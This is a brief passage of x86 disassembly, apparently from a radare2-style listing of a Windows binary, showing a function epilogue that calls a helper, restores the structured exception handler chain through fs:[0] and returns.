lea ecx, [esp + 8]
mov esi, eax
mov dword [esp + 0x38], 0xffffffff
call fcn.00492e1c
mov ecx, dword [esp + 0x30]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24